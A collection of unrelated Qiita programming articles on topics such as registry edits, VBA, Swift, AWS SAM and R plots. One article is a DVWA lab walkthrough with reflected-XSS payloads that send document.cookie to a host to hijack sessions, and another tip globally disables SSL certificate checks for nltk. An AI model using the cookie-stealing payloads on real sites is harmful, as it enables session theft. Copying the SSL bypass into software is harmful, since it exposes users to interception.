OmniAICreator/Qiita-1.07M huggingface dataset:
新規MarkdownファイルをWindowsのコンテキストメニューから作る

# 新規MarkdownファイルをWindowsのコンテキストメニューから作る

### 用語
- mdファイル
  - Markdown形式のファイル。
- コンテキストメニュー
  - Windowsの場合、右クリックして出てくるメニューのこと

## 目的
手軽にmdファイルでメモを取りたいのに、新規ファイルを作るとき、いちいちeditorを開いてから作成したり、`.txt`ファイルの拡張子を`.md`に変更してから編集したりする必要があるのが面倒くさい。
⇒ 通常の`.txt`ファイル同様にコンテキストメニューから作成できれば楽なのでは！

要はこうしたい↓
![目的.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/75e1dea2-46a9-bcd0-0101-0836d4889666.png)

### 注意点・環境の明示
- 環境  
  - windows10 
- 注意
  - 今回はレジストリエディタを使用します。レジストリに不正な値を書き込むと、最悪の場合、OSの再インストールが必要となるので注意してください。

### 手順
1. regeditで.mdにShellNewを追加
2. ファイルタイプにmarkdownを追加
3. 完了！

## regeditで.mdにShellNewを追加

1. regeditを開く（[windowsキー] + [Rキー] でファイル名を指定して実行を開き、`regedit`と入力）⇒ `HKEY_CLASSES_ROOT`を選択
![HKEY_CLASSES_ROOT.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/74bc23dc-6c12-def8-9bbe-73fc95dfca3c.png)
> 「.」で始まるものは拡張子に対する設定、それ以外はファイル・タイプに関する設定である。[参考1](https://www.atmarkit.co.jp/ait/articles/0304/04/news002.html)

2. `.md`キーを選択 ⇒  右側にある(既定)を右クリックし、修正を選択 ⇒ `mdfile`と入力しOKをクリック
（この処理は、後述のファイルタイプ設定で生きてくる）
![ata.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/54d7893e-f7e0-29f6-ed4b-c69b68ba39cb.png)
:warning: **`.md`キーが無い場合、新規作成すれば大丈夫です。**

3. `.md`を右クリック ⇒ 新規 ⇒ キー ⇒ 新しいキーの名前を`ShellNew`とする ⇒ ShellNewを右クリックし ⇒ 新規 ⇒ 文字列値 ⇒ 名前を`NullFile`とする。
![ShellNew.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/9c66864b-cd9d-9f8a-1968-8b813a6e7ae3.png)


> - エクスプローラは、この「ShellNew」キーが定義されたものに対して［新規作成］メニューを表示しているので、名前を間違えないように  
> - 「NullFile」は、新規ファイルの中身が空であることを示している

## ファイルタイプにmarkdownを追加
引き続きregedit内での作業

1. `HKEY_CLASSES_ROOT`を右クリック ⇒ 新規 ⇒ キー ⇒ 名前を`mdfile` とする
（先述の2. の行程で入力した値のデータと同一の名前）
![mdfile.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/476ee51e-b180-1c87-5ed1-85a4d8112dac.png)


2. `mdfile`が`HKEY_CLASSES_ROOT`の一番下にできているはずなので選択 ⇒ 右側にある(既定)を右クリックし、修正を選択 ⇒ `Markdown file`と入力しOKをクリック
![Markdown_file.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/6b2d12ad-76ed-1ef8-8e88-fa16b21b912e.png)

rededitをそのまま閉じたら終了です！

## 完了！
こうなったはず↓
![目的.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521871/75e1dea2-46a9-bcd0-0101-0836d4889666.png)


## 参考
[1.](https://www.atmarkit.co.jp/ait/articles/0304/04/news002.html) Windowsでエクスプローラの［新規作成］メニューをカスタマイズする
【Swift】同期的にHTTP通信する

ググったところ古い情報ばかり見つかったので、Swift5でも大丈夫だったよという記事

全2回のHTTPリクエストを行う際に、
2回目のリクエストは、1回目の通信結果を使用してパラメータを作るとかそういう用途で

#環境
Xcode 11.3.1
Swift 5

#方法
1.DispatchSemaphoreをvalue0で生成する
2.HTTP通信した直後、セマフォをwaitする
3.HTTP通信の完了イベント内でsignal()を呼び出す

#ソースコード
```swift
    /// セマフォ
    var semaphore : DispatchSemaphore!

    func syncHttpRequest()
    {
        semaphore = DispatchSemaphore(value: 0)
        
        // Httpリクエストの生成
        var request = URLRequest(url: URL(string: "http://httpbin.org/get")!)
        request.httpMethod = "GET"
        
        // HTTPリクエスト実行
        URLSession.shared.dataTask(with: request, completionHandler: requestCompleteHandler).resume()
        
        // requestCompleteHandler内でsemaphore.signal()が呼び出されるまで待機する
        semaphore.wait()
        print("request completed")
    }
    
    func requestCompleteHandler(data:Data?,res:URLResponse?,err:Error?)
    {
        print("response recieve")
        semaphore.signal()
    }

```
実行結果

```
response recieve
request completed
```
別シートの情報を参照して値セット

[機能]
Sheet2の仕入先マスタを参照しながら、SHEET1のC列、D列、...の情報を埋めていくイメージとなっています。

Sheet1
![1キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576931/7819f3ae-2fe9-e8e1-7677-f4e76439cfa5.png)

Sheet2
![2キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576931/77068a87-e4ea-f230-ef32-4c09df81cb4f.png)

コードが以下となる
※写真はあくまで機能のイメージであり、下記のコードにセルの行番号と写真が一致しない所があるので、ご注意してください。

``` vba
Sub vlookupItemValues()
    Dim SHEET1 As Worksheet             ' 駆動表シート
        Set SHEET1 = Worksheets("Sheet1")

    Dim SHEET2 As Worksheet             ' 突合先シート
        Set SHEET2 = Worksheets("Sheet2")

    Dim SHEET1_GYO As Long	        ' 処理対象の開始行
    Dim SHEET2_GYO As Long
    
    Dim SHEET1_GYO_CNT As Long          ' 件数計上
        SHEET1_GYO_CNT = 0		' 処理件数

    Dim SHEET1_ITEMS_COL_START As Long  ' 編集先のセルの列番号 (変動値)
    
    Dim SHEET1_KEY1 As String
    Dim SHEET2_KEY1 As String
    Dim SHEET2_ITEM2 As String
    Dim SHEET2_ITEM3 As String
    
    '駆動表のルール
    SHEET1_GYO = 3	'sheet1の対処データ範囲（3行目から～空白のセルの行まで）
    Do Until SHEET1.Cells(SHEET1_GYO, 1).Value = ""

    	SHEET1_KEY1 = SHEET1.Cells(SHEET1_GYO, 1).Value
    	SHEET1_ITEMS_COL_START = 9
     
     	SHEET2_GYO = 2  'sheet2のVlookup範囲（2行目から～空白のセルの行まで）
        '突合先シート
        Do Until SHEET2.Cells(SHEET2_GYO, 1).Value = ""
            SHEET2_KEY1 = SHEET2.Cells(SHEET2_GYO, 1).Value
            SHEET2_ITEM2 = SHEET2.Cells(SHEET2_GYO, 2).Value
            SHEET2_ITEM3 = SHEET2.Cells(SHEET2_GYO, 3).Value
            
            If SHEET1_KEY1 = SHEET2_KEY1 Then	'突合のKEY
              SHEET1.Cells(SHEET1_GYO, SHEET1_ITEMS_COL_START).Value = SHEET2_ITEM2
              SHEET1_ITEMS_COL_START = SHEET1_ITEMS_COL_START + 1
              SHEET1.Cells(SHEET1_GYO, SHEET1_ITEMS_COL_START).Value = SHEET2_ITEM3
              SHEET1_ITEMS_COL_START = SHEET1_ITEMS_COL_START + 1
            End If
            SHEET2_GYO = SHEET2_GYO + 1
         Loop
         
         SHEET1_GYO_CNT = SHEET1_GYO_CNT + 1
         SHEET1_GYO = SHEET1_GYO + 1
    Loop
    
    ' 終了の表示
    MsgBox "完了しました。" & vbCr & _
        "レコード件数=" & SHEET1_GYO_CNT & "件"
End Sub
```
MockRetrofit で異常系のテストを行う時の注意

# TL;DR
MockRetrofit で異常系のテストを行う時は、 **例外を throw せずに、 `BehaviorDelegate#returning` にエラー内容を渡す。**

※例外を throw すると、UnitTest が中断されてしまいます。
## Good
```Kotlin
class MockGitHubService(
    private val delegate: BehaviorDelegate<GitHubService>
) : GitHubService {

    override fun listRepos(user: String): Observable<List<Repository>> {
        // 通信失敗を delegate する
        val fakeCall = Calls.response(Response.error<Repository>(404, ResponseBody.create(...)))
        return delegate.returning(fakeCall).listRepos(user)
    }
}
```

## Bad
```Kotlin
class MockGitHubService(
    private val delegate: BehaviorDelegate<GitHubService>
) : GitHubService {

    override fun listRepos(user: String): Observable<List<Repository>> {
        // ここで throw すると、UnitTest の実行が中断される
        throw HttpException(Response.error<List<Repository>>(404, ResponseBody.create(...)))
    }
}
```

# 背景
* API の呼び出しを Retrofit & RxJava で行っている
* 特定の例外なら、成功に丸め込んだり、別の例外を投げ直す

という事を行っており、正常系・異常系の UnitTest を書こうとしていました。

サンプルでおなじみの、GitHub API の呼び出しのコードで書くと、

```Kotlin
service.listRepos("octocat")
    .onErrorReturn { throwable ->
        when {
            // 404 なら空 list を返す（成功扱いにする）
            (throwable is HttpException && throwable.code() == 404) -> listOf()
            else -> throw throwable
        }
    }
```
こんなイメージで、これがテスト対象です。

正常系の MockService が、

```Kotlin
override fun listRepos(user: String): Observable<List<Repository>> {
    val fakeResponse = listOf(Repository(...), Repository(...)) // 2 件返す
    return delegate.returningResponse(fakeResponse).listRepos(user)
}
```
のように記述できるので、 **`fun listRepos` で throw したら、 `onErrorReturn` にひっかかる** と思い込んでました。。。

（テストコードの全体感は、正常系のサンプルが色々出てくるのでそちらを参照下さい。）

# まとめ
MockRetrofit で異常系のテストを行う時は、 **例外を throw せずに、 `BehaviorDelegate#returning` にエラー内容を渡す。**
Javaのチェック処理あれこれ

# はじめに
プログラムを作成する上でチェック処理は欠かせませんが、ここではJavaにおけるチェック処理あれこれをまとめました。

## 前提条件
環境：Spring Framework

## チェック処理

### オブジェクト全般チェック

```java
import java.util.Objects;

class Check {

    void execute() {
        // message == null
        if (Objects.isNull(message)) {
        }

        // message != null
        if (Objects.nonNull(message)) {
        }

        // message == nullの場合にNullPointerExceptionを投げる
        Objects.requireNonNull(message);
    }
}

```


### 文字列チェック

```java
import org.springframework.util.StringUtils;

class Check {

    void execute() {
        // (message == null || "".equals(message))
        if (StringUtils.isEmpty(message)) {
        }

        // (str != null && !str.isEmpty())
        if (StringUtils.hasLength(message)) {
        }

    }
}

```


### Collectionのチェック


```java

import org.springframework.util.CollectionUtils;

class Check {

    void execute() {
        List<String> list = new ArrayList<>();
        list.add("Hello");
        list.add("World");

        // (list == null || list.isEmpty())
        if (CollectionUtils.isEmpty(list)) {
        }

    }
}

```
ハッシュから値だけを取り出して配列に入れる

## 方法
・ valuesメソッドを使用
・ eachメソッドを使用


## valuesメソッドを使用する場合
valuesメソッドはハッシュに対して使用すると、値だけを取り出してくれるメソッドです

```ruby
attr = {name: "佐々木", age: 34, height: 167, weight: 62}

array = attr.values
puts array
```
使用方法はハッシュに対してvaluesを使うだけ、簡単ですね
出力すると以下のようになります

```:ターミナル
佐々木
34
167
62
```

## eachメソッドを使用する場合
eachメソッドは対象から中身を順番に取り出して別の入れ物に入れてくれるメソッドです。

```ruby

attr = {name: "佐々木", age: 34, height: 167, weight: 62}

values = []
attr.each do |key, value|
  values << value
end
puts values
```

はじめに配列の入れ物となるvaluesを定義します
これがないとeach文の外でvalueを使用することができません
ハッシュattrに対してeach doを使用しkeyとvalueにキーと値を入れます
次にvaluesの中に取得した値の入っているvalueを入れます
その後valuesを出力すると

```:ターミナル
佐々木
34
167
62
```
値だけを配列として取得できていることが確認できます。


以上２つの方法を紹介しました。
【AWS SAM】sam local invokeの「invalid ELF header」をなんとかする

# 環境

- MacOSX
- SAM CLI, version 0.41.0
- python3.8

下記内容は`sam init`で作成されたものそのまま使用しています。
違いは`requirements.txt`の内容のみです。

# 現象

以下のような状態でpip installをして`sam local invoke`をすると invalid ELF headerが発生する。

```bash
$ cat sam-app/hello_world/requirements.txt
requests
pysftp
$ pip install -r requirements.txt  -t ./

$ sam local invoke
Invoking app.lambda_handler (python3.8)
(中略)
{"errorType":"Runtime.ImportModuleError","errorMessage":"Unable to import module 'app': /var/task/bcrypt/_bcrypt.abi3.so: invalid ELF header"}
```

これについてはモジュールに含まれているバイナリファイルがAmazonLinux2ではないための環境要因とのこと。

> Error in AWS Lambda: invalid ELF header #117
> https://github.com/Cyan4973/xxHash/issues/117

AmazonLinux2内で実行する、もしくはそこで実行したものを持ってくれば一応は解決すると言う感じっぽい。

ただそのためにEC2を立ち上げるのはやはり面倒な上に(と言うかお金もかかるし)、
記事投稿時点でAnazonLinuxの標準のPythoはPython2なのでその辺もなんとかする必要があり手間が大きい

# 解決

`sam build`を行なって実行すればLambda(AmazonLinux2?)用の環境に作られたライブラリがインストールされる。

```bash
$ sam build
Building resource 'HelloWorldFunction'
Running PythonPipBuilder:ResolveDependencies
Running PythonPipBuilder:CopySource

Build Succeeded
(中略)


$ sam local invoke
Invoking app.lambda_handler (python3.8)
(中略)
{"statusCode":200,"body":"{\"message\": \"hello world\"}"}
```

ただし、buildをした場合は、作成される`.aws-sam/build`の方のコードが実行されるので、
毎回buildが必要となりインタプリタ系の言語のお手軽さが失われてしまう。

なので、
`.aws-sam/build`にinstallされたモジュールを現在開発しているディレクトリに移動し`.aws-sam/build`を削除する。
こうすることで毎回buildする必要がなくbuild前の元の方のコードが実行することができる。


```bash
$ ls .aws-sam/build/HelloWorldFunction/
PyNaCl-1.3.0.dist-info				certifi-2019.11.28.dist-info			idna-2.9.dist-info				requests
(以下省略)

$ cp .aws-sam/build/HelloWorldFunction/ ./hello_world/
$ sam local invoke
Invoking app.lambda_handler (python3.8)
(中略)
{"statusCode":200,"body":"{\"message\": \"hello world\"}"}
```

## (未解決)サブディレクトリにモジュールを配置したい

上記の方法ではbuild時にinstallされるモジュールは指定場所直下になるみたいです。
なのでcpの際にはモジュール以外の自分の書いたソースコードも含まれています(上記では取り除いてませんが)
これについてはまだ現時点で解決にたどり着けていません。

`.aws-sam/build/`から持ってくる際は`.lib`ディレクトリを作成してそこにコピー、
以下を記載することでlib配下のモジュールを取ってこれるのでこれで開発中は多少ごちゃごちゃ感がなくなると思います。

```python
sys.path.append("./lib/")
```
マクロでオートフィルタを掛ける

## オートフィルタ
``` vba
Sub Macro1()
    Worksheets("book1").activate

    'オートフィルタを設定 
    'Field:=2  番号によりフィルタ項目を指定 
    '絞り込みオプションが複数ある場合、配列を用意
    ActiveSheet.Range("$A$1:$BA$137934").AutoFilter Field:=2, Criteria1:=Array( _
        "オプション1", "オプション2", "オプション3", _
        Operator:=xlFilterValues

    '複数フィルタ項目を指定したい場合
     Worksheets("book1").Range("A8").AutoFilter Field:=4, Criteria1:="=単語1"
     Worksheets("book1").Range("A8").AutoFilter Field:=7, Criteria1:="単語2"

    'フィルタ結果をコピーし、book2のセルH1に貼り付け
    Worksheets("book1").Range("AE8").CurrentRegion.Copy _
    Worksheets("book2").Range("H1")

    'オートフィルタを解除
    Worksheets("book1").AutoFilterMode = False
End Sub
```
Vimのモードについてまとめ

##ノーマルモード
- 起点となるモード
- vimを起動したときに、Escを押したときになるモード
- 文字入力はできない。
- カーソルを動かしたり、別のモードに切り替えたりするときに使う。

##導入モード（インサートモード）
- 文字を入力するときに使う。
- ノーマルモード時に「i」、「I」、「a」、「A」のいずれかのキーを押すことで、切り替わる。

##ビジュアルモード
- 入力した文字を選択したいときに使う。
- ノーマルモードで「v」を押すことで、切り替わる。

##ビジュアルラインモード
- ノーマルモードで「V」を押すと切り替わる
- control + vを押すと、矩形ビジュアルモードになり、四角形の形で選択できる
- shift + vでビジュアルラインモードとなり、行ごとの選択が可能になる。

##コマンドモード
- :を押すと、画面の左下にコマンドを入力できるようになるモード




###参考
【Vim】Macで高機能テキストエディタ。最新版のインストール方法。 | オリジナルゲーム.com
https://original-game.com/vim-mac/
Railsで「update_attributes is deprecated」と表示される

# 概要
Railsチュートリアル7章で内容通り「update_attributes」を実行したところエラーが発生。
調べたところ「update_attributes」が非推奨となり、Rails6.1では廃止されるようなのでメモ。

# 状況
「update_attributes」を実行したところ下記のように表示され、処理がキャンセルされた。

```ruby
DEPRECATION WARNING: update_attributes is deprecated and will be removed from Rails 6.1 
(please, use update instead) (called from irb_binding at (irb):2)
```

# 解決方法
>please, use update instead

の一文にあるように「update_attributes」を「update」に差し替えるだけで問題なく実行された。
【R】GWAS結果でマンハッタンプロットを描いてみた

#はじめに

仕事で統計遺伝学が必要になりそうなので、GWAS結果からマンハッタンプロットを描いてみた。

備忘録的なやつ。

#使用するデータ

NIHのGRASPデータベースに様々なGWAS結果が落ちている。

[GRASP database](https://grasp.nhlbi.nih.gov/FullResults.aspx)

そのうちの一つを使用してみる。

[Yang et al.] (https://grasp.nhlbi.nih.gov/downloads/ResultsOctober2016/Yang_Hypertension/Yang_YoungOnsetHypertension_Illumina550_SBAS_rawpv.csv)

#必要なパッケージ

**qqman**パッケージと**data.table**パッケージをインストールしておく。

**qqman**パッケージはマンハッタンプロットの作図に必要。

GWAS結果は一般にファイルサイズが大きいため、高速にデータを読み込むため**fread()**関数を使用する。

**fread()**関数は**data.table**パッケージに入っている。

```R
library(qqman)
library(data.table)
```

#データの読み込み

**fread()**関数でデータを読み込む。

```R
DF <- fread("Yang_YoungOnsetHypertension_Illumina550_SBAS_rawpv.csv",
               stringsAsFactors = F, header = T)
```

**str()**関数でデータの内容を確認する。

実行結果。

```R
> DF <- fread("Yang_YoungOnsetHypertension_Illumina550_SBAS_rawpv.csv",
+                stringsAsFactors = F, header = T)
> str(DF)
Classes ‘data.table’ and 'data.frame':	475157 obs. of  8 variables:
 $ dbSNP_RS_ID      : chr  "rs3094315" "rs12562034" "rs3934834" "rs9442372" ...
 $ Chromosome       : int  1 1 1 1 1 1 1 1 1 1 ...
 $ Physical_position: int  742429 758311 995669 1008567 1011278 1020428 1021403 1038818 1039813 1051029 ...
 $ Symbol           : chr  "FLJ22639" "FLJ22639" "rs3934834" "C1orf159" ...
 $ CLR_N_pv         : num  0.977 0.706 0.651 0.673 0.731 ...
 $ CLR_N_BMI_pv     : num  0.357 0.298 0.348 0.844 0.429 ...
 $ CLR_C_pv         : num  0.692 0.438 0.513 1 0.527 ...
 $ CLR_C_BMI_pv     : num  0.114 0.0697 0.255 0.8723 0.2363 ...
 - attr(*, ".internal.selfref")=<externalptr>
```

``dbSNP_RS_ID``：SNPs ID
``Chromosome``：染色体番号
``Physical_position``：染色体位置
``CLR_N_pv``、``CLR_N_BMI_pv``、``CLR_C_pv``、``CLR_C_BMI_pv``：p値（BMI調整あり／なし、条件付きロジスティック回帰）らしい...


#マンハッタンプロットの描画

いよいよ描画。

**qqman**パッケージの**manhattan()**関数を使う。

```R
#マンハッタンプロットの描画
manhattan(DF, chr = "Chromosome", 
          bp = "Physical_position", 
          p = "CLR_C_BMI_pv", 
          snp = "dbSNP_RS_ID") 
```

引数の説明。

``chr``には染色体番号のカラムを指定する。 X、Y、またはMT染色体がある場合は、これらの23、24、25などの番号に置換する。デフォルトはPLINKの「CHR」。

``bp``には染色体位置のカラムを指定する。デフォルトはPLINKの「BP」。この列は数値でなきゃダメ。

``p``はp値のカラム。デフォルトはPLINKの「P」。この列ももちろん数値でなきゃダメ。
※今回は「dbSNP_RS_ID」とした。

``snp``はSNP名のカラム（rs番号）を指定する。デフォルトはPLINKの「SNP」。このカラムは文字列でなきゃダメ。

描画結果

![Rplot.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/471633/e32d4c42-bb2a-0994-cf1a-02d40a9f5d09.png)

<font color="Blue">青色のライン</font>はp値が1.0×10-5のレベルであり、suggestive level（有意ではないが、なんらかの関連がありそうなレベル）を示している。

ここにはないけど、<font color="Red">赤色のライン</font>はp値が5.0×10-8のレベルであり、GWASでな有意レベルを示している。

#最終スクリプト

```R
#Rをキレイにしておく
rm(list = ls())

#ライブラリの読み込み
library(qqman)
library(data.table)

#データの読み込みと内容の確認
DF <- fread("Yang_YoungOnsetHypertension_Illumina550_SBAS_rawpv.csv",
               stringsAsFactors = F, header = T)
str(DF)

#マンハッタンプロットの描画
manhattan(DF, chr = "Chromosome", #染色体番号のカラムを指定する。
          bp = "Physical_position", #染色体位置のカラムを指定する。
          p = "CLR_C_BMI_pv", #p値のカラムを指定する。
          snp = "dbSNP_RS_ID") #SNP名のカラム（rs番号）を指定する。

```
DVWAでXSS(reflected)

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- xssでセッションを奪取する

## 手順概要
- xssの可否チェック
- cookieが取れるか確認する
- 別のドメインへcookieを飛ばす

## 内容
### xssとは
- クロスサイトスクリプティングの略称
- scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
- 今回の場合はinputデータに用いるクエリを利用し不正URLを作成。その後、ユーザーに押させる想定。

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

-- XSS(reflected)にアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/1b951f1a-fe36-37c4-e73d-64471b8a3800.png)


### XSS開始

- 挙動を確認する
    - 何か文字を入れてみると、「hello 入力値」が表示される。あと、urlのクエリに入力値が乗っかることが分かった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/69489942-a982-8145-462f-aee1d2c888d0.png)


- リダイレクトさせるスクリプトを埋め込んでみる
    - 下記スクリプトをnameクエリに埋め込み実行する。
    - スクリプトは埋め込めているが、実行はされない。
```html:
a<script>window.location = "http://localhost?hisCookie="+document.cookie</script>a
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/ebef766b-7975-2d8a-775b-891a6e2a459f.png)


-  ちょっと工夫してみる
    -  クエリを以下に変更してみる。
    -  配列をjoin()したのは+では上手く読み込めなかったから

```html:
<script>
window.addEventListener("onload",e=>{
window.location = ["http://localhost?k=",document.cookie].join("")
});
</script>
```

```shell:
# before
?name=a<script>window.location = "http://localhost?hisCookie="+document.cookie</script>a
# after
?name=and Welcome!<script>window.addEventListener("load",e=>
window.location = ["http://localhost?k=",document.cookie].join("")
)</script>
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/a6e1108a-e394-7f86-41bb-3972ecc33042.png)

後は、このurlをユーザーに押させるだけ。
おわり
TypeScriptでNominal Typingするときの推論結果

TypeScriptで公称型っぽく書くときは推論の結果がneverにならないように注意したい、という話。

<!--
[TypeScript で幽霊型っぽいものをつくる - Qiita](https://qiita.com/fsubal/items/cbbe170edbe07d775bab)
[TypeScriptでNominal Typingを実現する4つの方法 - Qiita](https://qiita.com/suin/items/57cfc0ec9bb1a6995aa5#four-enum%E3%81%A8%E4%BA%A4%E5%B7%AE%E5%9E%8B)
-->

```typescript
enum FooBrand { }
type FooId = string & FooBrand;
type BarId = string & { _barBrand: never };
type BuzId = string & { _buzIdBrand: never };
type BarBuzId = BarId & BuzId;

function foo() {//: never
    return "" as FooId;
}
function bar1() {//: BarId
    return "" as BarId;
}
function bar2() {//: string & { _barBrand: never }
    return "" as string & { _barBrand: never };
}
function barbuz1() {//: string & {_barBrand: never;} & {_buzIdBrand: never;}
    return "" as BarId & BuzId;
}
function barbuz2() {//: BarBuzId
    return "" as BarBuzId;
}
```

- enumを使うとneverとして推論される
- 使用箇所で直接&を使っていると中身が展開される

Brand自体を組み合わせなければそこまで厳しくわないが、
組み合わせて使いだすと結果が長いので一旦定義し直すほうがスッキリして見える。
グループごとに連番振り分け

## 連番振分

##### <処理機能>
C列の値をグループごとにし、A列に親連番、B列に子連番を振り分ける機能

##### <実行の前提条件>
・C列がソートされていること

``` vba
Sub addseq()
    Dim lng_i As Long
    Dim lng_j As Long
    Dim i As Long
    Dim iMax As Long
    
    iMax = 137934
    
    Range("A" & 1) = "親SEQ"
    Range("B" & 1) = "子SEQ"
    
    lng_i = 0
    lng_j = 0
    For i = 2 To iMax Step 1
        If Range("C" & (i)).Value <> Range("C" & (i - 1)).Value Then
            '親番号振り分け
            lng_i = lng_i + 1
            lng_j = 1
        Else
　　　　　　 '子番号振り分け
            lng_j = lng_j + 1
        End If
        
        Range("A" & i) = lng_i
        Range("B" & i) = lng_j
    Next
End Sub

```
macOS の pyhon で nltk.download() をすると CERTIFICATE_VERIFY_FAILED が発生する場合の対処

`nltk.download()` を実行すると以下のように SSL のエラーが発生する

```shell-session
$ python3 -c 'import nltk; nltk.download("all")'
[nltk_data] Error loading all: <urlopen error [SSL:
[nltk_data]     CERTIFICATE_VERIFY_FAILED] certificate verify failed:
[nltk_data]     unable to get local issuer certificate (_ssl.c:1056)>
```

以下を適当なファイル名で保存して実行

```python
import nltk
import ssl

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

nltk.download()
```

**参考**
https://stackoverflow.com/a/57954593
【online】Salesforce 知识分享（１０）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
準備中
【online】Salesforce 知识分享（９）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)
#【分享内容】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/d31dce37-dadb-2f7a-0fdb-84dd9f5f595b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/7ad19b3a-81a1-ff4c-ab2a-2d7f298cdc65.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/51ca4342-07b8-bdf7-5479-90f29c3d0bec.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/51b8d85b-a1fa-df5c-4fe6-dd7ef6ae90d1.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/cebe50c6-f6a5-4086-ab00-03e0ac44948c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/2e6afc6b-6601-3ad0-e411-6d284960bb55.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/6b13758f-b155-35d9-5137-c7345661f6d3.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/5e24fe4d-be08-6f1d-dab6-942eb4687daa.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/357c9761-8237-6fd4-4448-eb8197ec8d8b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/a2c96c5e-bb8c-7b91-89a4-c6fde6e9d464.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/64ce9ee8-5e5e-3c30-26a6-9b0f69a7cc1b.png)
【online】Salesforce 知识分享（８）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
準備中
【online】Salesforce 知识分享（７）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
準備中
【online】Salesforce 知识分享（６）

#【前言】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/de52dfb7-eccf-2235-fa2c-1b6f97fbfedd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/9e985d06-7648-0c02-373b-ee396917569b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a6ce9f2-0992-6c6f-16c1-3b36640f1d05.png)

#【分享内容】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/066509e1-2d79-0bb2-d17e-c3897c6ebfdb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/3a4da4b6-02ee-14e7-8c3a-50bd058c5a18.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/6e1d2c03-8fc7-d9fa-1d6a-402897c70a7d.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/90871c3a-1eaa-21e5-bc6e-02689c2dd2a3.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/548773/f3b86e7d-7782-f4f3-9711-4ede0207de22.png)

